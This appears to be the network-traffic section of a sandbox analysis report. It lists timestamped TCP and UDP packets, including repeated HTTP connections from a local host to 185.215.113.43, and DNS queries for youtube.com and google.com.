Sep 30, 2024 09:54:19.642857075 CEST	54567	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:19.649585009 CEST	80	54567	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:19.650085926 CEST	54567	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:19.650209904 CEST	80	54566	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:19.650243998 CEST	54567	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:19.650789976 CEST	54566	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:19.657537937 CEST	80	54567	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:20.507707119 CEST	80	54567	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:20.507764101 CEST	54567	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:22.157303095 CEST	54567	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:22.157305002 CEST	54568	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:22.162120104 CEST	80	54568	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:22.162384033 CEST	80	54567	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:22.162476063 CEST	54567	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:22.162553072 CEST	54568	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:22.162642002 CEST	54568	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:22.167397976 CEST	80	54568	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:22.862941027 CEST	80	54568	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:22.863004923 CEST	54568	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:24.379767895 CEST	54568	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:24.380353928 CEST	54569	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:24.385071993 CEST	80	54568	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:24.385135889 CEST	54568	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:24.385406017 CEST	80	54569	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:24.385473967 CEST	54569	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:24.385620117 CEST	54569	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:24.390629053 CEST	80	54569	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:25.103997946 CEST	80	54569	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:25.104053974 CEST	54569	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:26.722402096 CEST	54569	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:26.722795963 CEST	54570	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:26.727565050 CEST	80	54569	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:26.727613926 CEST	54569	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:26.727889061 CEST	80	54570	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:26.727946997 CEST	54570	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:26.728153944 CEST	54570	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:26.733057022 CEST	80	54570	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:27.443866014 CEST	80	54570	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:27.444015980 CEST	54570	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:28.954863071 CEST	54570	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:28.955413103 CEST	54571	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:28.960695028 CEST	80	54571	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:28.960783958 CEST	54571	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:28.961086988 CEST	54571	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:28.961220026 CEST	80	54570	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:28.961287975 CEST	54570	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:28.966025114 CEST	80	54571	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:29.703942060 CEST	80	54571	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:29.704052925 CEST	54571	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:31.313961983 CEST	54571	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:31.314338923 CEST	54573	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:31.319250107 CEST	80	54571	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:31.319324017 CEST	80	54573	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:31.319348097 CEST	54571	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:31.319417000 CEST	54573	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:31.319638014 CEST	54573	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:31.324862957 CEST	80	54573	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:32.016752005 CEST	80	54573	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:32.016870022 CEST	54573	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:33.532845020 CEST	54573	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:33.533179998 CEST	54574	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:33.538058996 CEST	80	54573	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:33.538080931 CEST	80	54574	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:33.538173914 CEST	54573	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:33.538173914 CEST	54574	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:33.538331985 CEST	54574	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:33.543226957 CEST	80	54574	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:34.258183956 CEST	80	54574	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:34.258344889 CEST	54574	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:35.891944885 CEST	54574	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:35.892287970 CEST	54575	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:35.897135973 CEST	80	54574	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:35.897269964 CEST	54574	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:35.897617102 CEST	80	54575	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:35.897722960 CEST	54575	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:35.897841930 CEST	54575	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:35.902817011 CEST	80	54575	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:36.603328943 CEST	80	54575	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:36.603400946 CEST	54575	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:38.111001968 CEST	54575	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:38.111860991 CEST	54577	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:38.116200924 CEST	80	54575	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:38.116321087 CEST	54575	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:38.116616011 CEST	80	54577	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:38.116734982 CEST	54577	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:38.116825104 CEST	54577	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:38.121866941 CEST	80	54577	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:38.810784101 CEST	80	54577	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:38.810851097 CEST	54577	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:40.423047066 CEST	54577	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:40.423444986 CEST	54578	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:40.732345104 CEST	54577	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:40.977335930 CEST	80	54578	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:40.977356911 CEST	80	54577	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:40.977421999 CEST	54578	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:40.977427006 CEST	80	54577	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:40.977473021 CEST	54577	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:40.977751970 CEST	54578	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:40.984954119 CEST	80	54578	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:41.691881895 CEST	80	54578	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:41.694966078 CEST	54578	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:43.203243971 CEST	54578	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:43.203691959 CEST	54579	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:43.208383083 CEST	80	54578	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:43.208450079 CEST	54578	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:43.208452940 CEST	80	54579	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:43.208553076 CEST	54579	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:43.208684921 CEST	54579	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:43.213396072 CEST	80	54579	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:43.928683043 CEST	80	54579	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:43.931063890 CEST	54579	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:45.570936918 CEST	54579	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:45.570938110 CEST	54580	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:45.576020956 CEST	80	54580	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:45.576150894 CEST	80	54579	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:45.579082012 CEST	54579	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:45.579087019 CEST	54580	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:45.582928896 CEST	54580	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:45.587836981 CEST	80	54580	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:45.883415937 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:45.883475065 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:45.883761883 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:45.883763075 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:45.883800030 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:46.295531988 CEST	80	54580	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:46.298965931 CEST	54580	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:46.523298025 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:46.523605108 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:46.523632050 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:46.523988962 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:46.524305105 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:46.524369001 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:46.524482012 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:46.524533987 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:46.524565935 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:46.800792933 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:46.800956011 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:46.801007986 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:46.801407099 CEST	54581	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:46.801429033 CEST	443	54581	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:47.818092108 CEST	54580	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:47.818119049 CEST	54582	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:47.823054075 CEST	80	54582	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:47.823185921 CEST	54582	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:47.823347092 CEST	80	54580	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:47.823405981 CEST	54582	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:47.823422909 CEST	54580	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:47.828330040 CEST	80	54582	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:48.486032963 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:48.486085892 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:48.486145020 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:48.486730099 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:48.486742020 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:48.546190977 CEST	80	54582	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:48.546318054 CEST	54582	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:49.117824078 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:49.118314981 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:49.118335009 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:49.118865967 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:49.119273901 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:49.119328976 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:49.119335890 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:49.119357109 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:49.119421959 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:49.170030117 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:49.417484045 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:49.418131113 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:49.418270111 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:49.418909073 CEST	54583	443	192.168.2.5	142.250.185.78
Sep 30, 2024 09:54:49.418924093 CEST	443	54583	142.250.185.78	192.168.2.5
Sep 30, 2024 09:54:50.172491074 CEST	54582	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:50.174916029 CEST	54584	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:50.177726984 CEST	80	54582	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:50.177983999 CEST	54582	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:50.179977894 CEST	80	54584	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:50.183132887 CEST	54584	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:50.183134079 CEST	54584	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:50.188028097 CEST	80	54584	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:50.875936031 CEST	80	54584	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:50.875999928 CEST	54584	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:52.391083002 CEST	54584	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:52.394953012 CEST	54585	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:52.396286011 CEST	80	54584	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:52.398948908 CEST	54584	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:52.399836063 CEST	80	54585	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:52.399918079 CEST	54585	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:52.400125980 CEST	54585	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:52.404920101 CEST	80	54585	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:53.129976988 CEST	80	54585	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:53.130064011 CEST	54585	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:54.750152111 CEST	54585	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:54.750643015 CEST	54586	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:54.755934954 CEST	80	54585	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:54.756015062 CEST	54585	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:54.756067991 CEST	80	54586	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:54.756177902 CEST	54586	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:54.756302118 CEST	54586	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:54.762974024 CEST	80	54586	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:55.448754072 CEST	80	54586	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:55.448944092 CEST	54586	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:56.958820105 CEST	54586	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:56.959120989 CEST	54587	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:56.964103937 CEST	80	54587	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:56.964169979 CEST	80	54586	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:56.964200974 CEST	54587	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:56.964227915 CEST	54586	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:56.967560053 CEST	54587	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:56.972421885 CEST	80	54587	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:57.677669048 CEST	80	54587	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:57.677823067 CEST	54587	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:59.297585964 CEST	54587	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:59.297990084 CEST	54588	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:59.302778959 CEST	80	54587	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:59.302831888 CEST	80	54588	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:59.302839041 CEST	54587	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:59.302902937 CEST	54588	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:59.303116083 CEST	54588	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:59.307992935 CEST	80	54588	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:00.001327991 CEST	80	54588	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:00.001763105 CEST	54588	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:01.516491890 CEST	54588	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:01.517013073 CEST	54589	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:01.825867891 CEST	54588	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:01.942321062 CEST	80	54589	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:01.942336082 CEST	80	54588	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:01.942462921 CEST	54589	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:01.942531109 CEST	80	54588	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:01.942656994 CEST	54588	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:01.942778111 CEST	54589	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:01.950128078 CEST	80	54589	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:02.642497063 CEST	80	54589	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:02.642591000 CEST	54589	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:04.266088009 CEST	54589	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:04.266088009 CEST	54590	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:04.271190882 CEST	80	54590	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:04.271316051 CEST	80	54589	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:04.274998903 CEST	54589	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:04.274998903 CEST	54590	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:04.275296926 CEST	54590	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:04.280052900 CEST	80	54590	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:04.986562014 CEST	80	54590	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:04.986610889 CEST	54590	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:06.492173910 CEST	54590	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:06.492517948 CEST	54591	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:06.497383118 CEST	80	54591	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:06.497396946 CEST	80	54590	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:06.497457027 CEST	54590	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:06.497474909 CEST	54591	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:06.501188040 CEST	54591	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:55:06.507136106 CEST	80	54591	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:07.192935944 CEST	80	54591	185.215.113.43	192.168.2.5
Sep 30, 2024 09:55:07.193005085 CEST	54591	80	192.168.2.5	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 09:51:27.689749002 CEST	53	58601	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:27.741547108 CEST	65321	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:27.741656065 CEST	60582	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:27.742305040 CEST	137	137	192.168.2.5	192.168.2.255
Sep 30, 2024 09:51:27.748389959 CEST	53	65321	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:27.749442101 CEST	53	60582	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:27.994486094 CEST	53	56341	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:28.497550011 CEST	137	137	192.168.2.5	192.168.2.255
Sep 30, 2024 09:51:29.247555971 CEST	137	137	192.168.2.5	192.168.2.255
Sep 30, 2024 09:51:29.607961893 CEST	54266	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:29.608093023 CEST	64175	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:29.614948988 CEST	53	54266	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:29.614964008 CEST	53	64175	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:29.935034990 CEST	65361	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:29.935802937 CEST	59856	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:29.941886902 CEST	53	65361	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:29.944499969 CEST	53	59856	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:30.017407894 CEST	49706	53	192.168.2.5	8.8.8.8
Sep 30, 2024 09:51:30.018100023 CEST	51031	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:30.024952888 CEST	53	51031	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:30.032598972 CEST	53	49706	8.8.8.8	192.168.2.5
Sep 30, 2024 09:51:31.949278116 CEST	63531	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:31.949421883 CEST	52623	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:31.956060886 CEST	53	52623	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:31.957290888 CEST	53	63531	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:32.398366928 CEST	53	51975	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:36.405467987 CEST	53	58863	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:36.679877996 CEST	51548	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:36.679995060 CEST	54770	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:36.687256098 CEST	53	57447	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:36.687457085 CEST	53	51548	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:36.687761068 CEST	53	54770	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:39.205904007 CEST	62967	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:39.206094027 CEST	57311	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:39.213296890 CEST	53	62967	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:39.213849068 CEST	53	57311	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:40.318746090 CEST	50000	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:40.318901062 CEST	61744	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:51:40.326735020 CEST	53	50000	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:40.326977968 CEST	53	61744	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:41.989824057 CEST	53	50057	1.1.1.1	192.168.2.5
Sep 30, 2024 09:51:49.428008080 CEST	53	59997	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:08.481535912 CEST	53	54642	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:13.537950039 CEST	53	53689	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:27.570519924 CEST	53	61150	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:37.994019985 CEST	53	53266	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:42.054702044 CEST	57453	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:52:42.054796934 CEST	64694	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:52:42.061656952 CEST	53	64694	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:42.061762094 CEST	53	57453	1.1.1.1	192.168.2.5
Sep 30, 2024 09:53:32.081036091 CEST	60698	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:53:32.081036091 CEST	55323	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:53:32.088167906 CEST	53	60698	1.1.1.1	192.168.2.5
Sep 30, 2024 09:53:32.088294983 CEST	53	55323	1.1.1.1	192.168.2.5
Sep 30, 2024 09:53:44.507668018 CEST	60267	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:53:44.507919073 CEST	50938	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:53:44.517079115 CEST	53	60267	1.1.1.1	192.168.2.5
Sep 30, 2024 09:53:44.517124891 CEST	53	50938	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:11.494231939 CEST	53	60386	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:29.526194096 CEST	53	56275	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:37.997380018 CEST	53	49308	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:45.875623941 CEST	57310	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:54:45.875888109 CEST	51515	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:54:45.882699013 CEST	53	57310	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:45.882719994 CEST	53	51515	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:46.378945112 CEST	138	138	192.168.2.5	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 09:51:27.741547108 CEST	192.168.2.5	1.1.1.1	0x78e9	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:27.741656065 CEST	192.168.2.5	1.1.1.1	0xb757	Standard query (0)	youtube.com	65	IN (0x0001)	false
Sep 30, 2024 09:51:29.607961893 CEST	192.168.2.5	1.1.1.1	0x185c	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.608093023 CEST	192.168.2.5	1.1.1.1	0x5bf	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Sep 30, 2024 09:51:29.935034990 CEST	192.168.2.5	1.1.1.1	0x96f3	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.935802937 CEST	192.168.2.5	1.1.1.1	0x4ae8	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Sep 30, 2024 09:51:30.017407894 CEST	192.168.2.5	8.8.8.8	0xf479	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
